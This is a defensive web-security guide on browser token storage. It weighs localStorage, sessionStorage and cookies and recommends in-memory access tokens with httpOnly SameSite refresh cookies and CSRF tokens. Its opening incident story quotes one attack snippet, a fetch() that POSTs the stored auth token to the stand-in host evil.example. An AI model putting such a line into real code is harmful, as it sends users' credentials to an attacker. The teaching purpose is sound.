Where Tokens Actually Live in the Browser (and Where They Shouldn't)
The night a browser extension read my localStorage
A support ticket came in around 11pm: a single customer reported that their account had been logged in from an IP in another country. One ticket. By the time I finished my coffee there were nine. The thread that connected them was not a password breach and not a leaked database. It was a third-party analytics snippet we had loaded on the dashboard. The vendor had been compromised upstream, and the malicious version of their script did exactly one thing on load:
fetch("https://evil.example/c", {
method: "POST",
body: localStorage.getItem("auth_token"),
});
That was the whole attack. Our access tokens were JWTs sitting in localStorage under a friendly key, and any JavaScript executing on our origin — ours, a CDN's, an analytics vendor's, a browser extension injecting into the page — could read them. The script didn't need to crack anything. It just read a string and POSTed it. Every stolen token worked until its exp claim expired, because a JWT is a bearer credential: whoever holds it is treated as the user, no questions asked about where the holder got it.
I spent the next week relearning something I thought I already knew: in the browser, where you store a token matters as much as what the token is. This is the map I wish I'd had.
The four places people put tokens
There are realistically four storage locations a single-page app reaches for. Each trades off four things: exposure to XSS (cross-site scripting — attacker JS running on your origin), exposure to CSRF (cross-site request forgery — the browser auto-attaching the credential to a forged request), how long the token survives, and whether your server can read it from the request.
| Location | XSS exposure | CSRF exposure | Persistence | Server-readable |
|---|---|---|---|---|
localStorage |
High — any JS on origin reads it | None — never auto-sent | Survives restart (until cleared) | No — you must attach it manually |
sessionStorage |
High — any JS on origin reads it | None — never auto-sent | Tab close wipes it | No — you must attach it manually |
| JS-readable cookie | High — document.cookie reads it |
High — auto-sent on every request | Until expiry / session | Yes — sent automatically |
httpOnly cookie |
None — JS cannot read it | High — auto-sent on every request | Until expiry / session | Yes — sent automatically |
The row that surprises people is the bottom one. A cookie set with the HttpOnly flag is deliberately excluded from document.cookie. There is no JavaScript API that returns it. The XSS script in my incident, rewritten against an httpOnly cookie, gets nothing:
document.cookie; // "theme=dark; locale=en" — the session cookie is simply not here
That is not obfuscation; it is a browser-enforced wall. The trade is that an httpOnly cookie is sent automatically on every request to its domain, which is precisely the mechanism CSRF abuses.
Why localStorage loses on the axis that matters
The two Web Storage options (localStorage, sessionStorage) share one fatal property for secrets: they are plain reads from synchronous JavaScript. Per the WHATWG HTML Storage spec, the Storage interface exposes getItem/setItem to any script in the origin's context with zero gatekeeping. There is no flag, no "this one is private" mode. If an attacker achieves XSS — through a vulnerable dependency, a misconfigured sanitizer, a compromised script tag — your token is a one-line getItem away.
People reach for these because the alternative feels harder. With Web Storage you read the token in JS and set an Authorization: Bearer header yourself, which means it's never auto-attached and CSRF is genuinely a non-issue. That's a real benefit. But it buys CSRF immunity by maximizing XSS exposure, and in 2026 XSS is the far more common path to token theft. You are optimizing the wrong axis.
The difference between localStorage and sessionStorage is only lifetime: sessionStorage is cleared when the tab closes, localStorage persists across restarts indefinitely until something deletes it. A persistent token is a strictly larger attack window. If you must use Web Storage at all, sessionStorage is the lesser evil, but neither solves the read-access problem.
What a stolen token actually exposes
Before you decide how paranoid to be, look at what's inside the token you're protecting. A JWT's payload is not encrypted — it's Base64url, trivially decoded. I keep our own tokens minimal precisely because of this. Paste a sample into the JWT decoder and read the claims as an attacker would: a token carrying email, role: "admin", internal user IDs, or tenant identifiers leaks all of that the moment it's exfiltrated, and the exp claim tells the thief exactly how long their stolen copy stays valid.
header: {"alg":"HS256","typ":"JWT"}
payload: {"sub":"u_8841","role":"admin","exp":1782000000}
If your access token is short-lived (say a 15-minute exp), a stolen one is a 15-minute problem at worst. If it's a 30-day token in localStorage, you've handed over a month. Token lifetime is a security control, and it's one you set yourself.
The recommendation hierarchy
Ranked from most to least defensible for a normal authenticated web app:
1. Short-lived access token in memory + refresh token in an httpOnly cookie. This is the 2026 default I moved us to. The access token lives in a plain JavaScript variable (module scope, a closure, or your state store) — never in any storage API. It dies on page reload, which means the XSS window for that token is tiny, and you re-mint it from the refresh token. The refresh token sits in an httpOnly; Secure; SameSite cookie that JavaScript cannot touch and that only your /refresh endpoint receives.
// access token: in-memory only, gone on reload
let accessToken = null;
async function authedFetch(url, opts = {}) {
let res = await fetch(url, {
...opts,
headers: { ...opts.headers, Authorization: `Bearer ${accessToken}` },
});
if (res.status === 401) {
// refresh token rides in the httpOnly cookie automatically
const r = await fetch("/refresh", { method: "POST", credentials: "include" });
if (!r.ok) return res;
accessToken = (await r.json()).access_token;
res = await fetch(url, {
...opts,
headers: { ...opts.headers, Authorization: `Bearer ${accessToken}` },
});
}
return res;
}
2. Everything in an httpOnly; Secure; SameSite cookie with a server-side session. Immune to XSS theft, server-readable for free, and the persistence you want. The cost you take on is CSRF, which you neutralize with cookie attributes plus a token (next section). For most server-rendered or hybrid apps this is the simplest sound choice.
3. sessionStorage, only if you genuinely cannot run a cookie-issuing backend and you accept that any XSS = full token theft, mitigated only by the short tab-lifetime.
4. localStorage. The persistence makes it the worst of the set. This is where my incident's tokens lived.
Closing the CSRF hole the cookie opens
Choosing an httpOnly cookie means accepting that the browser auto-sends it — including on requests forged by another site. Two layers fix this, and you want both.
First, the SameSite attribute. SameSite=Strict tells the browser to never attach the cookie on any cross-site request, which blocks the classic CSRF flow outright but also breaks the cookie on inbound links from external sites (the user appears logged out arriving from an email). SameSite=Lax attaches the cookie on top-level navigations but not on cross-site subresource or background requests, which is the usable middle ground for most apps. Add Secure so the cookie is only ever transmitted over HTTPS.
Set-Cookie: refresh=eyJ...; HttpOnly; Secure; SameSite=Lax; Path=/refresh; Max-Age=2592000
Second, for state-changing endpoints, a CSRF token: a per-session random value your server hands the page and your JS echoes back in a header. The forging site can't read it (same-origin policy stops it), so it can't forge the header. Generate it with real entropy — the kind you'd produce from the hash generator when sketching one out — never a predictable counter or timestamp:
// server issues this once, page sends it back on mutations
const csrf = crypto.randomUUID();
fetch("/account/delete", {
method: "POST",
credentials: "include",
headers: { "X-CSRF-Token": csrf },
});
SameSite is the cheap broad net; the CSRF token is the targeted backstop for the requests that actually change data. Use them together — SameSite has had inconsistent enforcement across browser versions over the years, so it's a layer, not a guarantee.
The map, condensed
The decision collapses to one question and one follow-up. Can JavaScript read it? If yes (localStorage, sessionStorage, JS-readable cookie), any XSS exfiltrates it — so only put things there you'd accept losing to a compromised dependency, and keep their lifetime short. If no (httpOnly cookie), you've beaten XSS theft but inherited CSRF — so pay the SameSite + CSRF-token tax.
My fix that week was unglamorous: access tokens dropped to a 15-minute exp and moved into memory, refresh tokens into httpOnly; Secure; SameSite=Lax cookies, and a CSRF token on every mutating route. The analytics vendor's compromised script, run against that setup, would have gotten an empty document.cookie and an in-memory variable it had no path to reach across a reload. The tokens it could have grabbed would have expired before the support queue filled up. Storage location wasn't a footnote to the auth design — it was the auth design.
Tools used in this guide
- JWT Decoder — Paste a JSON Web Token and inspect its header, payload, and signature segment locally in your browser.
- SHA-256 Hash Generator — Paste text and generate a SHA-256 digest locally for checksums, examples, cache keys, and debugging.